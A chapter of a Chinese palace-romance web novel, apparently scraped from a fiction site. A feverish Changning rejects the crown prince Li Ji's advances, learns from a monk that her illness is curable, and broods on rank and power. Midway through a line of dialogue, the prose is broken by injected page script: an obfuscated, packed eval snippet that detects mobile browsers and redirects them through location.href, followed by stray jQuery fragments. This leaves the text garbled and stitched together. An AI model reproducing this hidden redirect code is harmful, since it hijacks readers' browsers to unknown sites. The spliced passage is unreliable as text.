常宁迷蒙之间，耳畔忽传来由远及近的脚步声。


    一只略带凉意的手，隔着丝帕轻按上常宁眼角。


    “何事至此？”


    未燃烛，雪反射来的星月光辉穿过窗子，又挤入帷幔，已是昏暗。


    常宁眼皮黏沉，只堪堪掀起一帘细缝，瞧出一个模糊的黑影，刀削斧凿一般凌厉，流露出几分令人心安的冷淡。


    有几个瞬间，常宁还恍惚以为这是多年前他们几人在行宫秉烛长谈的一夜。半大少年不经熬，稍过午夜便昏昏睡去。那时常宁口渴起夜，见到的就是这样的身影。


    但当黑影俯身朝常宁探来时，常宁抬手抵住了人胸膛，隔开一段距离，声线软绵沙哑，“远点。”


    常宁面色泛着潮红，鼻尖沁出细汗，手上的力道并不大，李稷还是顺着退远了些。他伸手快速在常宁额上一探，眉头紧蹙。


    这一探却引燃了常宁的情绪，胡乱推搡，“说了让你离远点。我根本就不想你们爱我，我只想和你们做朋友！”


    “都骗我……只有我不知道。”


    “没骗你，”李稷温声问，“都有谁？孤帮你。”


    常宁更心塞，“你才不是帮我。”


    李稷笑着，便要揽着常宁靠坐起来，冷不丁被常宁挥开，安慰道：“不做别的。你发热了，换身衣裳，等会儿太医过来。”


    常宁十分抗拒，“我只见空智大师。”


    李稷当是常宁好面子，轻声应下。不多时，空智大师过来，李稷隐在屏风后忙于他务。


    空智给常宁把过脉，笑道：“忧虑之际，风寒入体，不急。施主放宽心。”


    常宁有些蔫蔫的，“多谢。”


    “不必言谢，”空智立掌，“贫僧亦有一好消息告知施主。”


    常宁脑袋昏昏的，听了这话，配合道：“洗耳恭听。”


    空智说：“多亏了施主今日送来的丸药。那药是贫僧师父炼制的，倒是给了贫僧许多启发，再借助前些日子施主送的残缺药方，贫僧有七成把握能保施主性命无虞。”


    常宁手里的杯子落在案上，打了几个旋，茶水洒了一片，连风寒的不适都被压下，“大师，此话当真？”


    空智微笑颔首：“当真。”


    常宁脸颊烧红，神态却满是轻松，“大师，你真是神医。你一句话，我这风寒便好了大半。”


    空智笑意愈深，“施主也不遑多让。”


    常宁却还是疑惑，“只我不太明白，我从皇觉寺得这药时，慧能师傅说这药是大师你炼制的，缘何大师却说是由尊师炼制？”


    空智道了句佛偈，“贫僧承继了师父的法号。法号相传已有六代，故而坊间常有传言，道是贫僧活了二百余年，谬为在世活神仙。实则是误会一桩。待解决了施主的事，贫僧就要往天竺去。施主珍重。”


    常宁回礼：“山长水远，大师也切记要保重自身，还盼来日再相会。”


    从天而降的欣喜还未消化完，常宁送走空智大师，不过方一转身，便装入坚实的胸膛中。


    李稷亦喜不自胜，环着常宁，“往后我二人便能永远在一起了。”


    只一句话，常宁满心雀跃都被浇灭殆尽，张了张口：“我——”


    悲喜交集，纵是常宁平日里善言，如今也有一刻说不出话来，脑中如蒙了一层浓雾，看不分明。


    “莫要太高兴，孤会尽快送你离京，”李稷唇角含笑，伸指抬起常宁下巴，过水棉帕给常宁搽脸降温，待见了人睁着眼一副骇住了的呆愣模样，心绪急转直下。


    “你……不愿意？”


    常宁觑了眼李稷的神色，即使此刻迟钝，也能看出李稷的意图。


    只是……常宁望了望噼啪作响的烛芯。


    她和李稷，昔日也曾携手同游、互诉衷肠。


    自那时便是无关风月的。


    一直这样虚情假意下去，欺骗他，也欺骗自己，常宁受不了。


    那就像每日都戴着假面，且夜以继日，无论是在阳光之下还是黑暗之中，真正的常宁永远只能被埋藏在不可见人的心室中。


    常宁竭力克服惧意，眸色清亮，直视李稷，“是。我不能骗你。”


    一霎那间，李稷脑海中闪过许多念头，最终背身负手，只留下一个孤绝的背影，“孤可以同意，但你也不能同旁人在一起。”


    常宁当下就要维护自己，“殿下,这……”


    李稷侧首，狭长的凤眸微阖，目含警告：“想清楚再说。”


    常宁把话咽了回去，“我要殿下立誓。”


    “胆子不小，”李稷笑笑，立起一掌，指天道，“孤绝不干涉你，但你也不可同旁人纠缠，违者所求皆破灭。”


    常宁道：“要加我的名字。”


    李稷顺从，照做后笑问：“现下可好些了？”


    常宁点头，捧起茶盏，借喝茶掩盖自己的神色。


    李稷捻起一块绵软的绿豆糕，挨到常宁唇畔，“干用茶不好。”


    此时的他，除开与常宁距离太近，倒像是真的在试着放下了。


    但常宁明白，李稷是怀着怎样一种心情，看她将信将疑地照着他设下的路子走。


    李稷立誓并不提及他的名姓。


    孤？


    常宁心中嗤笑。


    若他做了皇帝，抑或被贬为亲王、庶人，离了太子的身份，誓言还奏效吗？即使奏效，可常宁晓得，李稷此时所求，不过是哄骗过常宁一阵，徐徐图之，时机到时再给常宁一个“惊喜”罢了。


    破灭了，大不了就换个法子。


    李稷手搭在常宁肩上，瞧常宁唇边似有若隐若现的笑意，便伸指一拨常宁额发，“好了，往后有得是高兴的时候。你如今不宜劳累，到榻上歇着。”


    常宁懒散靠在床柱上，任李稷忙前忙后，擎等着秋浓熬了药汤来。


    “殿下，你待会儿可要藏好，被人看到了你，我说不清的。”


    李稷掖被角的动作一顿。


    他已许久不曾体会过常宁如此和风细雨的一面。


    “安心便是。”


    坐在榻沿，望着常宁清瘦几分的面庞，李稷有心寻些话头，“孤已勒令那刘长赢与你姐姐和离，凡是已处理妥当。”


    常宁犹带病容，绽出个笑，“多谢殿下。”不再多言。


    李稷只当常宁病中难受，笑道：“你竟也不关心西北的事了？”


    常宁掩唇垂首，轻咳几声，“不在其位，不谋其政。我先前总是不适，正是自身难保，如何还有心力想这许多？倒是殿下——”


    她桃花眸半转，流着烛火光辉，语带遗憾，“我当时还担忧，我在殿下前头离京了，怕是不能送殿下。也不知殿下此行是否惊险……”


    李稷只觉胸腔鼓涨。听常宁对着他的未来忧虑，仿若有电流划过皮肉。


    “孤无妨。”


    “殿下英


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16052719|167231||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    勇。”


    常宁心道，可不是无妨嘛。二皇子带西北军南下京城，想也知是绝不可能做到的事。二皇子的目的只是带西北军搅乱山东、山西两处大营的节奏，让两大营的主要精力放在群龙无首的十余万西北军上。


    这样一支庞大的乱军，即使不沿途为非作歹、占地称王，单是收编重整都要耗费大功夫，更遑论两大营还要防范身后的羌人。与之相比，帅轻军南下作乱的二皇子反倒不那么急切，反正总有人会拦截。


    如此一来，二皇子后顾之忧便大幅降低，可攒劲直刺京城。


    然京城外亦有数万兵马守候，城内也留有精兵。李稷又于兵法一道上颇有成算，常宁并不十分担忧。


    李稷唇边笑意不止，随口道：“听说你欲为清河寻一医女，可要孤相帮？”


    常宁照单全收，笑道：“那殿下要用心。”


    李稷颔首，复又忆起一桩事来，“你今日对清河说的话，莫要再对旁人提起。”


    常宁一时还没反应过来，“什么话？”


    这副呆呆愣愣的澄澈模样，叫李稷心头发软，无奈道：“要皇子去和亲。”


    常宁：“可我只是随口一说，我也没想到这话不能说。”


    问了就是不知道，常宁才不会认下来。


    李稷轻叹一声，低眉望入常宁水一样澄澈的眼眸，忽感到一阵细细密密的涩意。


    “会引起许多不必要的麻烦。”


    常宁知道该就此打住，顺口再称几句“殿下圣明”一类的话。可不知为何，话到唇边，却总是无法宣之于口，反而忍不住问：“为什么？”


    被角滑落，李稷掌心顺着常宁单薄的脊背安抚，最终按下将人搂入怀中的念头，“历来如此。”


    常宁眸中霎时含了泪，全然明白了李稷未尽之意。


    李稷拿丝帕轻拭常宁眼泪，“莫急。御下都是同样的道理，惟名与器不可假人。万民都处在妥当的位置，务求□□。孤知你疼惜表妹，也爱护旁人，颇有些怜贫惜弱在，不忍见人受蒙骗。但须知，如此行事者，不独你我二人，无需内疚。”


    常宁说：“我知的，殿下。”


    她只是迷惘。


    万民在李稷眼中宛若片片瓦砾，只有各自安放在合适的地方，守着各自的名与分，才有高屋建瓴。


    常宁是兆民中的一民，是李稷手中要摆弄的瓦砾一片，不止生来就低于李稷，也低于其他瓦砾。


    是生来如此么？


    李稷诧异于常宁的沉默，沉吟道：“有孤在，定不会有和亲之日。清河为公主之尊，不去想这些，就已经能过得十分自在。至于其余女子，终究与你我无关。莫要再想，你只当眼不见心为静。”


    乃至李稷也觉费解。若非眼前人为常宁，李稷连这番话都不会说出口。


    常宁收拾好情绪，心下便有了成算，“殿下，我以后都不和你吵了。”


    她是他口中不相干的其余人，无论为君为臣、为友为亲，他都不可能以同等的目光正视她。


    常宁无法忍受亲近之人高高在上地俯瞰她，一如李稷绝不会容忍旁人越过他。


    即便月老无数次为他们赐下姻缘线，那鲜红的丝线也只会一次次断裂。


    李稷欢欣之余，又觉出一丝不妥来。但不等他凝神思索，一点提灯身影自远而近，影子照在门纸上。


    “宁宁，”姜夫人敲了敲门，“你冷吗？肚子饿不饿？”